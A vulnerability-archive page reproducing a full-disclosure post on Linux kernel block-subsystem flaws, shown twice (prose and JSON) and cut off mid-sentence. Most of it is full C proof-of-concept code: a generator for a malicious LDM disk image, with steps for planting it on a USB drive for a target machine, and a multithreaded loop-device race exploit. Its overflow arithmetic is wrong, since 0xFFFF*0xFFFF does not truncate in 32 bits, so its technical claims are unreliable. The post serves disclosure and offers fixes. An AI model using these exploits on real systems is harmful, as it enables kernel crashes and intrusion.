Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
1 vulnerability found for Linux Kernel Block by Linux
GCVE-1988-2025-0001
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
Linux Kernel Block Subsystem Vulnerabilities
Summary
================================================================================
FULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities
Date: 2025-12-29
Affected: Linux Kernel (all versions with affected code)
================================================================================
================================================================================
[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: Integer Overflow leading to Heap Buffer Overflow
File: block/partitions/ldm.c:1247
Severity: HIGH (7.8 CVSS)
Impact: Local privilege escalation, kernel code execution
Attack Vector: Malicious disk image / USB device
TECHNICAL DETAILS
-----------------
The LDM (Logical Disk Manager) partition parser contains an integer overflow
vulnerability in the VBLK fragment reassembly code. When parsing Windows
dynamic disks, the kernel allocates a buffer using:
f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
Where both 'size' and 'num' are attacker-controlled 16-bit values read from
the disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:
0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)
sizeof(*f) + 0xFFFE0001 = small allocation
The kernel allocates a small buffer but later writes up to 64KB of data into
it, causing a heap buffer overflow.
AFFECTED CODE (block/partitions/ldm.c)
--------------------------------------
Line 1247:
f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
Line 461 (bounds check also vulnerable):
if ((vm->vblk_size * vm->vblk_offset) > 65536) {
PROOF OF CONCEPT
----------------
/*
* ldm_overflow_poc.c - LDM Integer Overflow PoC
* Creates a malicious disk image triggering the overflow
*
* Compile: gcc -o ldm_poc ldm_overflow_poc.c
* Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img
*
* WARNING: This WILL crash/corrupt your kernel. Use in VM only.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
/* LDM structures */
#define LDM_MAGIC "PRIVHEAD"
#define VBLK_MAGIC "VBLK"
struct ldm_privhead {
char magic[8];
uint32_t version;
uint64_t disk_id;
char host_id[64];
char disk_group_id[64];
char disk_group_name[32];
uint32_t logical_disk_start;
uint32_t logical_disk_size;
uint32_t config_start;
uint32_t config_size;
uint32_t num_tocs;
uint32_t toc_size;
uint32_t num_configs;
uint32_t config_record_size;
uint32_t num_logs;
uint32_t log_size;
} __attribute__((packed));
struct ldm_vmdb {
char magic[4]; /* "VMDB" */
uint32_t last_seq;
uint32_t vblk_size; /* Controlled - use 0xFFFF */
uint32_t vblk_offset; /* Controlled - use 0xFFFF */
uint16_t num_vblks;
/* ... */
} __attribute__((packed));
struct ldm_vblk_head {
char magic[4]; /* "VBLK" */
uint32_t seq;
uint32_t group;
uint16_t rec_num; /* Fragment number */
uint16_t num_recs; /* Total fragments - use large value */
/* ... */
} __attribute__((packed));
void create_malicious_ldm_image(const char *filename) {
int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
exit(1);
}
/* Create 2MB sparse image */
ftruncate(fd, 2 * 1024 * 1024);
/* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */
struct ldm_privhead privhead = {0};
memcpy(privhead.magic, LDM_MAGIC, 8);
privhead.version = 0x0002000C; /* Version 2.12 */
privhead.config_start = 1;
privhead.config_size = 2048;
lseek(fd, 6 * 512, SEEK_SET);
write(fd, &privhead, sizeof(privhead));
/* Write VMDB with overflow values */
struct ldm_vmdb vmdb = {0};
memcpy(vmdb.magic, "VMDB", 4);
vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */
vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */
vmdb.num_vblks = 100;
lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */
write(fd, &vmdb, sizeof(vmdb));
/* Write VBLK fragments that trigger reassembly overflow */
struct ldm_vblk_head vblk = {0};
memcpy(vblk.magic, VBLK_MAGIC, 4);
vblk.seq = 1;
vblk.group = 1;
vblk.rec_num = 0;
vblk.num_recs = 0xFFFF; /* Large fragment count */
/* Write multiple fragments to trigger reassembly */
for (int i = 0; i < 10; i++) {
vblk.rec_num = i;
lseek(fd, (16 + i) * 512, SEEK_SET);
write(fd, &vblk, sizeof(vblk));
/* Fill rest of sector with controlled data */
char payload[512 - sizeof(vblk)];
memset(payload, 'A', sizeof(payload));
write(fd, payload, sizeof(payload));
}
close(fd);
printf("[+] Created malicious LDM image: %s\n", filename);
printf("[!] WARNING: Mounting this image WILL crash the kernel\n");
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <output.img>\n", argv[0]);
return 1;
}
create_malicious_ldm_image(argv[1]);
printf("\nReproduction steps:\n");
printf("1. Copy image to target VM\n");
printf("2. sudo losetup /dev/loop0 %s\n", argv[1]);
printf("3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\n");
printf("\nOr:\n");
printf("1. Write image to USB drive\n");
printf("2. Plug USB into target machine\n");
printf("3. Kernel auto-probes partitions -> CRASH\n");
return 0;
}
REPRODUCTION STEPS
------------------
1. Compile the PoC on any Linux system:
$ gcc -o ldm_poc ldm_overflow_poc.c
2. Create the malicious image:
$ ./ldm_poc malicious.img
3. In a VM (DO NOT RUN ON PRODUCTION):
$ sudo losetup /dev/loop0 malicious.img
$ sudo partprobe /dev/loop0
4. Kernel will crash with heap corruption
Alternative (USB attack vector):
1. Write malicious.img to USB drive:
$ sudo dd if=malicious.img of=/dev/sdX bs=1M
2. Plug USB into target machine
3. Kernel crashes during automatic partition probing
IMPACT
------
- Heap buffer overflow with controlled size and data
- Kernel code execution possible via heap spray
- Physical access attack via malicious USB
- No user interaction required (auto-probe)
SUGGESTED FIX
-------------
Replace vulnerable allocation with overflow-safe version:
- f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
+ if (check_mul_overflow(size, num, &alloc_size) ||
+ check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) {
+ ldm_error("VBLK allocation overflow");
+ return false;
+ }
+ f = kmalloc(alloc_size, GFP_KERNEL);
================================================================================
[2/4] Request Queue Reference Counting Race Condition
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: TOCTOU Race Condition / Use-After-Free
File: block/blk-core.c:278-284
Severity: MEDIUM (5.5 CVSS)
Impact: Kernel crash, potential privilege escalation
Attack Vector: Local, requires timing
TECHNICAL DETAILS
-----------------
The blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)
race condition between checking if the queue is dying and incrementing
the reference count:
bool blk_get_queue(struct request_queue *q)
{
if (unlikely(blk_queue_dying(q))) // CHECK
return false;
refcount_inc(&q->refs); // USE - race window!
return true;
}
Between the check and the increment, another CPU can complete queue
teardown, decrement refs to 0, and free the structure. The subsequent
refcount_inc() then operates on freed memory.
AFFECTED CODE (block/blk-core.c)
--------------------------------
Lines 278-284:
bool blk_get_queue(struct request_queue *q)
{
if (unlikely(blk_queue_dying(q)))
return false;
refcount_inc(&q->refs); // Should be refcount_inc_not_zero
return true;
}
PROOF OF CONCEPT
----------------
/*
* blk_queue_race_poc.c - Request Queue Race Condition PoC
*
* This PoC demonstrates the TOCTOU race in blk_get_queue().
* Requires root and a removable block device (USB/loop).
*
* Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c
* Usage: sudo ./queue_race /dev/loop0
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <linux/loop.h>
#include <linux/fs.h>
#include <errno.h>
#include <sched.h>
#define NUM_RACERS 4
#define ITERATIONS 100000
static volatile int race_running = 1;
static char *loop_device;
static char *backing_file;
/* Thread that repeatedly opens the block device */
void *opener_thread(void *arg) {
int cpu = (int)(long)arg;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu % 4, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (race_running) {
int fd = open(loop_device, O_RDONLY | O_NONBLOCK);
if (fd >= 0) {
/* Perform I/O to exercise queue paths */
char buf[512];
read(fd, buf, sizeof(buf));
close(fd);
}
/* Tight loop to maximize race window hits */
}
return NULL;
}
/* Thread that repeatedly detaches/attaches loop device */
void *detacher_thread(void *arg) {
int loop_ctl_fd = open("/dev/loop-control", O_RDWR);
int backing_fd = -1;
while (race_running) {
/* Get a free loop device number */
int loop_fd = open(loop_device, O_RDWR);
if (loop_fd >= 0) {
/* Detach - triggers queue dying state */
ioctl(loop_fd, LOOP_CLR_FD, 0);
close(loop_fd);
}
usleep(100); /* Small delay */
/* Reattach */
loop_fd = open(loop_device, O_RDWR);
backing_fd = open(backing_file, O_RDWR);
if (loop_fd >= 0 && backing_fd >= 0) {
ioctl(loop_fd, LOOP_SET_FD, backing_fd);
close(backing_fd);
close(loop_fd);
}
usleep(100);
}
close(loop_ctl_fd);
return NULL;
}
/* Thread that submits I/O to exercise blk_get_queue paths */
void *io_submitter_thread(void *arg) {
while (race_running) {
int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);
if (fd >= 0) {
void *buf;
posix_memalign(&buf, 512, 4096);
/* Submit I/O - internally calls blk_get_queue */
pread(fd, buf, 4096, 0);
free(buf);
close(fd);
}
}
return NULL;
}
int main(int argc, char **argv) {
pthread_t openers[NUM_RACERS];
pthread_t submitters[NUM_RACERS];
pthread_t detacher;
if (argc != 3) {
fprintf(stderr, "Usage: %s <loop_device> <backing_file>\n", argv[0]);
fprintf(stderr, "Example: %s /dev/loop0 /tmp/test.img\n", argv[0]);
return 1;
}
loop_device = argv[1];
backing_file = argv[2];
/* Create backing file if needed */
int bf = open(backing_file, O_RDWR | O_CREAT, 0644);
if (bf >= 0) {
ftruncate(bf, 10 * 1024 * 1024); /* 10MB */
close(bf);
}
/* Initial loop setup */
int loop_fd = open(loop_device, O_RDWR);
int back_fd = open(backing_file, O_RDWR);
if (loop_fd >= 0 && back_fd >= 0) {
ioctl(loop_fd, LOOP_SET_FD, back_fd);
close(back_fd);
close(loop_fd);
}
printf("[*] Starting race condition PoC\n");
printf("[*] Target: %s\n", loop_device);
printf("[*] This may take a while or crash the kernel...\n");
/* Start racer threads */
for (int i = 0; i < NUM_RACERS; i++) {
pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i);
pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i);
}
pthread_create(&detacher, NULL, detacher_thread, NULL);
/* Run for a
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/0 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux Kernel Block |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Linux Kernel Block",
"vendor": "Linux",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "================================================================================\nFULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities\nDate: 2025-12-29\nAffected: Linux Kernel (all versions with affected code)\n================================================================================\n\n================================================================================\n[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: Integer Overflow leading to Heap Buffer Overflow\nFile: block/partitions/ldm.c:1247\nSeverity: HIGH (7.8 CVSS)\nImpact: Local privilege escalation, kernel code execution\nAttack Vector: Malicious disk image / USB device\n\nTECHNICAL DETAILS\n-----------------\nThe LDM (Logical Disk Manager) partition parser contains an integer overflow\nvulnerability in the VBLK fragment reassembly code. When parsing Windows\ndynamic disks, the kernel allocates a buffer using:\n\n f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nWhere both \u0027size\u0027 and \u0027num\u0027 are attacker-controlled 16-bit values read from\nthe disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:\n\n 0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)\n sizeof(*f) + 0xFFFE0001 = small allocation\n\nThe kernel allocates a small buffer but later writes up to 64KB of data into\nit, causing a heap buffer overflow.\n\nAFFECTED CODE (block/partitions/ldm.c)\n--------------------------------------\nLine 1247:\n f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nLine 461 (bounds check also vulnerable):\n if ((vm-\u003evblk_size * vm-\u003evblk_offset) \u003e 65536) {\n\nPROOF OF CONCEPT\n----------------\n/*\n * ldm_overflow_poc.c - LDM Integer Overflow PoC\n * Creates a malicious disk image triggering the overflow\n *\n * Compile: gcc -o ldm_poc ldm_overflow_poc.c\n * Usage: ./ldm_poc output.img \u0026\u0026 losetup /dev/loop0 output.img\n *\n * WARNING: This WILL crash/corrupt your kernel. Use in VM only.\n */\n\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cunistd.h\u003e\n\n/* LDM structures */\n#define LDM_MAGIC \"PRIVHEAD\"\n#define VBLK_MAGIC \"VBLK\"\n\nstruct ldm_privhead {\n char magic[8];\n uint32_t version;\n uint64_t disk_id;\n char host_id[64];\n char disk_group_id[64];\n char disk_group_name[32];\n uint32_t logical_disk_start;\n uint32_t logical_disk_size;\n uint32_t config_start;\n uint32_t config_size;\n uint32_t num_tocs;\n uint32_t toc_size;\n uint32_t num_configs;\n uint32_t config_record_size;\n uint32_t num_logs;\n uint32_t log_size;\n} __attribute__((packed));\n\nstruct ldm_vmdb {\n char magic[4]; /* \"VMDB\" */\n uint32_t last_seq;\n uint32_t vblk_size; /* Controlled - use 0xFFFF */\n uint32_t vblk_offset; /* Controlled - use 0xFFFF */\n uint16_t num_vblks;\n /* ... */\n} __attribute__((packed));\n\nstruct ldm_vblk_head {\n char magic[4]; /* \"VBLK\" */\n uint32_t seq;\n uint32_t group;\n uint16_t rec_num; /* Fragment number */\n uint16_t num_recs; /* Total fragments - use large value */\n /* ... */\n} __attribute__((packed));\n\nvoid create_malicious_ldm_image(const char *filename) {\n int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n if (fd \u003c 0) {\n perror(\"open\");\n exit(1);\n }\n\n /* Create 2MB sparse image */\n ftruncate(fd, 2 * 1024 * 1024);\n\n /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */\n struct ldm_privhead privhead = {0};\n memcpy(privhead.magic, LDM_MAGIC, 8);\n privhead.version = 0x0002000C; /* Version 2.12 */\n privhead.config_start = 1;\n privhead.config_size = 2048;\n\n lseek(fd, 6 * 512, SEEK_SET);\n write(fd, \u0026privhead, sizeof(privhead));\n\n /* Write VMDB with overflow values */\n struct ldm_vmdb vmdb = {0};\n memcpy(vmdb.magic, \"VMDB\", 4);\n vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */\n vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */\n vmdb.num_vblks = 100;\n\n lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */\n write(fd, \u0026vmdb, sizeof(vmdb));\n\n /* Write VBLK fragments that trigger reassembly overflow */\n struct ldm_vblk_head vblk = {0};\n memcpy(vblk.magic, VBLK_MAGIC, 4);\n vblk.seq = 1;\n vblk.group = 1;\n vblk.rec_num = 0;\n vblk.num_recs = 0xFFFF; /* Large fragment count */\n\n /* Write multiple fragments to trigger reassembly */\n for (int i = 0; i \u003c 10; i++) {\n vblk.rec_num = i;\n lseek(fd, (16 + i) * 512, SEEK_SET);\n write(fd, \u0026vblk, sizeof(vblk));\n\n /* Fill rest of sector with controlled data */\n char payload[512 - sizeof(vblk)];\n memset(payload, \u0027A\u0027, sizeof(payload));\n write(fd, payload, sizeof(payload));\n }\n\n close(fd);\n printf(\"[+] Created malicious LDM image: %s\\n\", filename);\n printf(\"[!] WARNING: Mounting this image WILL crash the kernel\\n\");\n}\n\nint main(int argc, char **argv) {\n if (argc != 2) {\n fprintf(stderr, \"Usage: %s \u003coutput.img\u003e\\n\", argv[0]);\n return 1;\n }\n\n create_malicious_ldm_image(argv[1]);\n\n printf(\"\\nReproduction steps:\\n\");\n printf(\"1. Copy image to target VM\\n\");\n printf(\"2. sudo losetup /dev/loop0 %s\\n\", argv[1]);\n printf(\"3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\\n\");\n printf(\"\\nOr:\\n\");\n printf(\"1. Write image to USB drive\\n\");\n printf(\"2. Plug USB into target machine\\n\");\n printf(\"3. Kernel auto-probes partitions -\u003e CRASH\\n\");\n\n return 0;\n}\n\nREPRODUCTION STEPS\n------------------\n1. Compile the PoC on any Linux system:\n $ gcc -o ldm_poc ldm_overflow_poc.c\n\n2. Create the malicious image:\n $ ./ldm_poc malicious.img\n\n3. In a VM (DO NOT RUN ON PRODUCTION):\n $ sudo losetup /dev/loop0 malicious.img\n $ sudo partprobe /dev/loop0\n\n4. Kernel will crash with heap corruption\n\nAlternative (USB attack vector):\n1. Write malicious.img to USB drive:\n $ sudo dd if=malicious.img of=/dev/sdX bs=1M\n2. Plug USB into target machine\n3. Kernel crashes during automatic partition probing\n\nIMPACT\n------\n- Heap buffer overflow with controlled size and data\n- Kernel code execution possible via heap spray\n- Physical access attack via malicious USB\n- No user interaction required (auto-probe)\n\nSUGGESTED FIX\n-------------\nReplace vulnerable allocation with overflow-safe version:\n\n- f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n+ if (check_mul_overflow(size, num, \u0026alloc_size) ||\n+ check_add_overflow(alloc_size, sizeof(*f), \u0026alloc_size)) {\n+ ldm_error(\"VBLK allocation overflow\");\n+ return false;\n+ }\n+ f = kmalloc(alloc_size, GFP_KERNEL);\n\n\n================================================================================\n[2/4] Request Queue Reference Counting Race Condition\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: TOCTOU Race Condition / Use-After-Free\nFile: block/blk-core.c:278-284\nSeverity: MEDIUM (5.5 CVSS)\nImpact: Kernel crash, potential privilege escalation\nAttack Vector: Local, requires timing\n\nTECHNICAL DETAILS\n-----------------\nThe blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)\nrace condition between checking if the queue is dying and incrementing\nthe reference count:\n\n bool blk_get_queue(struct request_queue *q)\n {\n if (unlikely(blk_queue_dying(q))) // CHECK\n return false;\n refcount_inc(\u0026q-\u003erefs); // USE - race window!\n return true;\n }\n\nBetween the check and the increment, another CPU can complete queue\nteardown, decrement refs to 0, and free the structure. The subsequent\nrefcount_inc() then operates on freed memory.\n\nAFFECTED CODE (block/blk-core.c)\n--------------------------------\nLines 278-284:\n bool blk_get_queue(struct request_queue *q)\n {\n if (unlikely(blk_queue_dying(q)))\n return false;\n refcount_inc(\u0026q-\u003erefs); // Should be refcount_inc_not_zero\n return true;\n }\n\nPROOF OF CONCEPT\n----------------\n/*\n * blk_queue_race_poc.c - Request Queue Race Condition PoC\n *\n * This PoC demonstrates the TOCTOU race in blk_get_queue().\n * Requires root and a removable block device (USB/loop).\n *\n * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c\n * Usage: sudo ./queue_race /dev/loop0\n */\n\n#define _GNU_SOURCE\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003clinux/loop.h\u003e\n#include \u003clinux/fs.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003csched.h\u003e\n\n#define NUM_RACERS 4\n#define ITERATIONS 100000\n\nstatic volatile int race_running = 1;\nstatic char *loop_device;\nstatic char *backing_file;\n\n/* Thread that repeatedly opens the block device */\nvoid *opener_thread(void *arg) {\n int cpu = (int)(long)arg;\n cpu_set_t cpuset;\n\n CPU_ZERO(\u0026cpuset);\n CPU_SET(cpu % 4, \u0026cpuset);\n pthread_setaffinity_np(pthread_self(), sizeof(cpuset), \u0026cpuset);\n\n while (race_running) {\n int fd = open(loop_device, O_RDONLY | O_NONBLOCK);\n if (fd \u003e= 0) {\n /* Perform I/O to exercise queue paths */\n char buf[512];\n read(fd, buf, sizeof(buf));\n close(fd);\n }\n /* Tight loop to maximize race window hits */\n }\n return NULL;\n}\n\n/* Thread that repeatedly detaches/attaches loop device */\nvoid *detacher_thread(void *arg) {\n int loop_ctl_fd = open(\"/dev/loop-control\", O_RDWR);\n int backing_fd = -1;\n\n while (race_running) {\n /* Get a free loop device number */\n int loop_fd = open(loop_device, O_RDWR);\n if (loop_fd \u003e= 0) {\n /* Detach - triggers queue dying state */\n ioctl(loop_fd, LOOP_CLR_FD, 0);\n close(loop_fd);\n }\n\n usleep(100); /* Small delay */\n\n /* Reattach */\n loop_fd = open(loop_device, O_RDWR);\n backing_fd = open(backing_file, O_RDWR);\n if (loop_fd \u003e= 0 \u0026\u0026 backing_fd \u003e= 0) {\n ioctl(loop_fd, LOOP_SET_FD, backing_fd);\n close(backing_fd);\n close(loop_fd);\n }\n\n usleep(100);\n }\n\n close(loop_ctl_fd);\n return NULL;\n}\n\n/* Thread that submits I/O to exercise blk_get_queue paths */\nvoid *io_submitter_thread(void *arg) {\n while (race_running) {\n int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);\n if (fd \u003e= 0) {\n void *buf;\n posix_memalign(\u0026buf, 512, 4096);\n\n /* Submit I/O - internally calls blk_get_queue */\n pread(fd, buf, 4096, 0);\n\n free(buf);\n close(fd);\n }\n }\n return NULL;\n}\n\nint main(int argc, char **argv) {\n pthread_t openers[NUM_RACERS];\n pthread_t submitters[NUM_RACERS];\n pthread_t detacher;\n\n if (argc != 3) {\n fprintf(stderr, \"Usage: %s \u003cloop_device\u003e \u003cbacking_file\u003e\\n\", argv[0]);\n fprintf(stderr, \"Example: %s /dev/loop0 /tmp/test.img\\n\", argv[0]);\n return 1;\n }\n\n loop_device = argv[1];\n backing_file = argv[2];\n\n /* Create backing file if needed */\n int bf = open(backing_file, O_RDWR | O_CREAT, 0644);\n if (bf \u003e= 0) {\n ftruncate(bf, 10 * 1024 * 1024); /* 10MB */\n close(bf);\n }\n\n /* Initial loop setup */\n int loop_fd = open(loop_device, O_RDWR);\n int back_fd = open(backing_file, O_RDWR);\n if (loop_fd \u003e= 0 \u0026\u0026 back_fd \u003e= 0) {\n ioctl(loop_fd, LOOP_SET_FD, back_fd);\n close(back_fd);\n close(loop_fd);\n }\n\n printf(\"[*] Starting race condition PoC\\n\");\n printf(\"[*] Target: %s\\n\", loop_device);\n printf(\"[*] This may take a while or crash the kernel...\\n\");\n\n /* Start racer threads */\n for (int i = 0; i \u003c NUM_RACERS; i++) {\n pthread_create(\u0026openers[i], NULL, opener_thread, (void*)(long)i);\n pthread_create(\u0026submitters[i], NULL, io_submitter_thread, (void*)(long)i);\n }\n pthread_create(\u0026detacher, NULL, detacher_thread, NULL);\n\n /* Run for a "
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:17Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/0"
],
"discovery": "EXTERNAL"
},
"title": "Linux Kernel Block Subsystem Vulnerabilities",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2025-0001",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0",
"automated": true,
"contentSha256": "32de6235455076c016dc8c2f5582de70e96ca488e28216ce0ba889a748b0e4f6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2025-12-29T20:20:00Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-09T10:11:17Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2025-0001"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}